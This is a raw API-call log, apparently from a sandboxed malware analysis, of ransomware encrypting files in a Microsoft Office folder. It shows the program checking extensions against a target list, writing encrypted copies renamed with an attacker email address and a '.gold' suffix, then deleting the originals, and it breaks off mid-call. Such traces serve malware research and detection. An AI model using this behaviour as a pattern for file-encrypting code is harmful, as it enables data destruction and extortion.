lstrlenW (lpString=".doc") returned 4 [0115.709] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0115.709] lstrlenW (lpString=".docx") returned 5 [0115.709] lstrcmpiW (lpString1=".docx", lpString2="T.CFG") returned -1 [0115.709] lstrlenW (lpString=".pdf") returned 4 [0115.709] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0115.709] lstrlenW (lpString=".xls") returned 4 [0115.709] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0115.709] lstrlenW (lpString=".xlsx") returned 5 [0115.709] lstrcmpiW (lpString1=".xlsx", lpString2="T.CFG") returned -1 [0115.709] lstrlenW (lpString=".ppt") returned 4 [0115.709] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0115.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORT.CFG") returned 64 [0115.709] lstrlenW (lpString=".zip") returned 4 [0115.710] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0115.710] lstrlenW (lpString=".rar") returned 4 [0115.710] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0115.710] lstrlenW (lpString=".bz2") returned 4 [0115.710] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0115.710] lstrlenW (lpString=".7z") returned 3 [0115.710] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0115.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORT.CFG") returned 64 [0115.710] lstrlenW (lpString=".dbf") returned 4 [0115.710] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0115.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORT.CFG") returned 64 [0115.710] lstrlenW (lpString=".1cd") returned 4 [0115.710] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0115.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORT.CFG") returned 64 [0115.710] lstrlenW (lpString=".jpg") returned 4 [0115.710] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0115.710] lstrcmpiW (lpString1=".ICO", lpString2=".gold") returned 1 [0115.710] lstrlenW (lpString="SCDREQL.ICO") returned 11 [0115.710] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDREQL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdreql.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0115.725] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=1078) returned 1 [0115.725] CloseHandle (hObject=0x198) returned 1 [0115.725] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDREQL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdreql.ico")) returned 0x20 [0115.753] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDREQL.ICO.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdreql.ico.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0115.754] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDREQL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdreql.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0115.754] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0115.754] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0115.754] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDREQL.ICO.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdreql.ico.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0115.755] GetLastError () returned 0x0 [0115.755] ReadFile (in: hFile=0x38c, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x436, lpOverlapped=0x0) returned 1 [0115.780] WriteFile (in: hFile=0x188, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0x440, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x440, lpOverlapped=0x0) returned 1 [0115.780] ReadFile (in: hFile=0x38c, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0115.780] WriteFile (in: hFile=0x188, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xea, lpOverlapped=0x0) returned 1 [0115.780] SetEndOfFile (hFile=0x188) returned 1 [0115.781] CloseHandle (hObject=0x188) returned 1 [0115.781] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0115.781] SetEndOfFile (hFile=0x38c) returned 1 [0115.782] CloseHandle (hObject=0x38c) returned 1 [0115.782] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDREQL.ICO.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0115.782] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDREQL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdreql.ico")) returned 1 [0115.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDREQL.ICO") returned 65 [0115.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDREQL.ICO") returned 65 [0115.785] lstrlenW (lpString=".doc") returned 4 [0115.785] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0115.786] lstrlenW (lpString=".docx") returned 5 [0115.786] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0115.786] lstrlenW (lpString=".pdf") returned 4 [0115.786] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0115.786] lstrlenW (lpString=".xls") returned 4 [0115.786] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0115.786] lstrlenW (lpString=".xlsx") returned 5 [0115.786] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0115.786] lstrlenW (lpString=".ppt") returned 4 [0115.786] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0115.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDREQL.ICO") returned 65 [0115.786] lstrlenW (lpString=".zip") returned 4 [0115.786] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0115.786] lstrlenW (lpString=".rar") returned 4 [0115.786] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0115.786] lstrlenW (lpString=".bz2") returned 4 [0115.786] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0115.786] lstrlenW (lpString=".7z") returned 3 [0115.786] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0115.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDREQL.ICO") returned 65 [0115.786] lstrlenW (lpString=".dbf") returned 4 [0115.786] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0115.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDREQL.ICO") returned 65 [0115.786] lstrlenW (lpString=".1cd") returned 4 [0115.786] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0115.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDREQL.ICO") returned 65 [0115.786] lstrlenW (lpString=".jpg") returned 4 [0115.786] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0115.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDREQL.ICO") returned 65 [0115.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDREQL.ICO") returned 65 [0115.786] lstrlenW (lpString=".doc") returned 4 [0115.786] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0115.786] lstrlenW (lpString=".docx") returned 5 [0115.786] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0115.786] lstrlenW (lpString=".pdf") returned 4 [0115.786] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0115.786] lstrlenW (lpString=".xls") returned 4 [0115.786] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0115.786] lstrlenW (lpString=".xlsx") returned 5 [0115.786] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0115.786] lstrlenW (lpString=".ppt") returned 4 [0115.786] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0115.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDREQL.ICO") returned 65 [0115.786] lstrlenW (lpString=".zip") returned 4 [0115.786] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0115.786] lstrlenW (lpString=".rar") returned 4 [0115.786] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0115.786] lstrlenW (lpString=".bz2") returned 4 [0115.786] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0115.786] lstrlenW (lpString=".7z") returned 3 [0115.786] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0115.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDREQL.ICO") returned 65 [0115.786] lstrlenW (lpString=".dbf") returned 4 [0115.786] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0115.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDREQL.ICO") returned 65 [0115.787] lstrlenW (lpString=".1cd") returned 4 [0115.787] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0115.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDREQL.ICO") returned 65 [0115.787] lstrlenW (lpString=".jpg") returned 4 [0115.787] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0115.787] lstrcmpiW (lpString1=".ICO", lpString2=".gold") returned 1 [0115.787] lstrlenW (lpString="SCDRESNS.ICO") returned 12 [0115.787] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESNS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdresns.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0115.799] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=2998) returned 1 [0115.799] CloseHandle (hObject=0x3d0) returned 1 [0115.800] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESNS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdresns.ico")) returned 0x20 [0115.852] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESNS.ICO.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdresns.ico.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0115.852] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESNS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdresns.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0115.852] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0115.852] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0115.852] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESNS.ICO.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdresns.ico.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0115.853] GetLastError () returned 0x0 [0115.853] ReadFile (in: hFile=0x194, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0xbb6, lpOverlapped=0x0) returned 1 [0115.875] WriteFile (in: hFile=0x3b4, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0xbc0, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xbc0, lpOverlapped=0x0) returned 1 [0115.875] ReadFile (in: hFile=0x194, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0115.875] WriteFile (in: hFile=0x3b4, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xec, lpOverlapped=0x0) returned 1 [0115.875] SetEndOfFile (hFile=0x3b4) returned 1 [0115.875] CloseHandle (hObject=0x3b4) returned 1 [0115.876] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0115.876] SetEndOfFile (hFile=0x194) returned 1 [0115.877] CloseHandle (hObject=0x194) returned 1 [0115.877] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESNS.ICO.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0115.884] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESNS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdresns.ico")) returned 1 [0115.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESNS.ICO") returned 66 [0115.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESNS.ICO") returned 66 [0115.919] lstrlenW (lpString=".doc") returned 4 [0115.919] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0115.919] lstrlenW (lpString=".docx") returned 5 [0115.919] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0115.919] lstrlenW (lpString=".pdf") returned 4 [0115.919] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0115.919] lstrlenW (lpString=".xls") returned 4 [0115.919] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0115.919] lstrlenW (lpString=".xlsx") returned 5 [0115.919] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0115.919] lstrlenW (lpString=".ppt") returned 4 [0115.919] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0115.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESNS.ICO") returned 66 [0115.919] lstrlenW (lpString=".zip") returned 4 [0115.919] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0115.919] lstrlenW (lpString=".rar") returned 4 [0115.919] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0115.919] lstrlenW (lpString=".bz2") returned 4 [0115.919] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0115.919] lstrlenW (lpString=".7z") returned 3 [0115.919] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0115.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESNS.ICO") returned 66 [0115.919] lstrlenW (lpString=".dbf") returned 4 [0115.919] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0115.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESNS.ICO") returned 66 [0115.919] lstrlenW (lpString=".1cd") returned 4 [0115.919] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0115.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESNS.ICO") returned 66 [0115.919] lstrlenW (lpString=".jpg") returned 4 [0115.919] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0115.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESNS.ICO") returned 66 [0115.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESNS.ICO") returned 66 [0115.919] lstrlenW (lpString=".doc") returned 4 [0115.920] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0115.920] lstrlenW (lpString=".docx") returned 5 [0115.920] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0115.920] lstrlenW (lpString=".pdf") returned 4 [0115.920] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0115.920] lstrlenW (lpString=".xls") returned 4 [0115.920] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0115.920] lstrlenW (lpString=".xlsx") returned 5 [0115.920] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0115.920] lstrlenW (lpString=".ppt") returned 4 [0115.920] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0115.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESNS.ICO") returned 66 [0115.920] lstrlenW (lpString=".zip") returned 4 [0115.920] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0115.920] lstrlenW (lpString=".rar") returned 4 [0115.920] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0115.920] lstrlenW (lpString=".bz2") returned 4 [0115.920] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0115.920] lstrlenW (lpString=".7z") returned 3 [0115.920] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0115.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESNS.ICO") returned 66 [0115.920] lstrlenW (lpString=".dbf") returned 4 [0115.920] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0115.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESNS.ICO") returned 66 [0115.920] lstrlenW (lpString=".1cd") returned 4 [0115.920] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0115.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESNS.ICO") returned 66 [0115.920] lstrlenW (lpString=".jpg") returned 4 [0115.920] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0115.920] lstrcmpiW (lpString1=".CFG", lpString2=".gold") returned -1 [0115.920] lstrlenW (lpString="SCHDREST.CFG") returned 12 [0115.920] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDREST.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\schdrest.cfg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0115.928] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=840) returned 1 [0115.928] CloseHandle (hObject=0x194) returned 1 [0115.928] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDREST.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\schdrest.cfg")) returned 0x20 [0115.937] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDREST.CFG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\schdrest.cfg.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0115.938] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDREST.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\schdrest.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0115.938] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0115.938] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0115.938] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDREST.CFG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\schdrest.cfg.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0115.940] GetLastError () returned 0x0 [0115.940] ReadFile (in: hFile=0x38c, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x348, lpOverlapped=0x0) returned 1 [0115.942] WriteFile (in: hFile=0x188, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0x350, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x350, lpOverlapped=0x0) returned 1 [0115.943] ReadFile (in: hFile=0x38c, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0115.943] WriteFile (in: hFile=0x188, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xec, lpOverlapped=0x0) returned 1 [0115.943] SetEndOfFile (hFile=0x188) returned 1 [0115.943] CloseHandle (hObject=0x188) returned 1 [0115.943] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0115.943] SetEndOfFile (hFile=0x38c) returned 1 [0115.945] CloseHandle (hObject=0x38c) returned 1 [0115.945] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDREST.CFG.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0115.945] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDREST.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\schdrest.cfg")) returned 1 [0115.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDREST.CFG") returned 66 [0115.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDREST.CFG") returned 66 [0115.946] lstrlenW (lpString=".doc") returned 4 [0115.946] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0115.946] lstrlenW (lpString=".docx") returned 5 [0115.946] lstrcmpiW (lpString1=".docx", lpString2="T.CFG") returned -1 [0115.946] lstrlenW (lpString=".pdf") returned 4 [0115.946] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0115.946] lstrlenW (lpString=".xls") returned 4 [0115.946] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0115.946] lstrlenW (lpString=".xlsx") returned 5 [0115.946] lstrcmpiW (lpString1=".xlsx", lpString2="T.CFG") returned -1 [0115.946] lstrlenW (lpString=".ppt") returned 4 [0115.946] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0115.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDREST.CFG") returned 66 [0115.946] lstrlenW (lpString=".zip") returned 4 [0115.946] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0115.946] lstrlenW (lpString=".rar") returned 4 [0115.946] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0115.946] lstrlenW (lpString=".bz2") returned 4 [0115.946] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0115.946] lstrlenW (lpString=".7z") returned 3 [0115.946] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0115.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDREST.CFG") returned 66 [0115.946] lstrlenW (lpString=".dbf") returned 4 [0115.946] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0115.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDREST.CFG") returned 66 [0115.946] lstrlenW (lpString=".1cd") returned 4 [0115.946] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0115.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDREST.CFG") returned 66 [0115.947] lstrlenW (lpString=".jpg") returned 4 [0115.947] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0115.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDREST.CFG") returned 66 [0115.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDREST.CFG") returned 66 [0115.947] lstrlenW (lpString=".doc") returned 4 [0115.947] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0115.947] lstrlenW (lpString=".docx") returned 5 [0115.947] lstrcmpiW (lpString1=".docx", lpString2="T.CFG") returned -1 [0115.947] lstrlenW (lpString=".pdf") returned 4 [0115.947] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0115.947] lstrlenW (lpString=".xls") returned 4 [0115.947] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0115.947] lstrlenW (lpString=".xlsx") returned 5 [0115.947] lstrcmpiW (lpString1=".xlsx", lpString2="T.CFG") returned -1 [0115.947] lstrlenW (lpString=".ppt") returned 4 [0115.947] lstrcmpiW 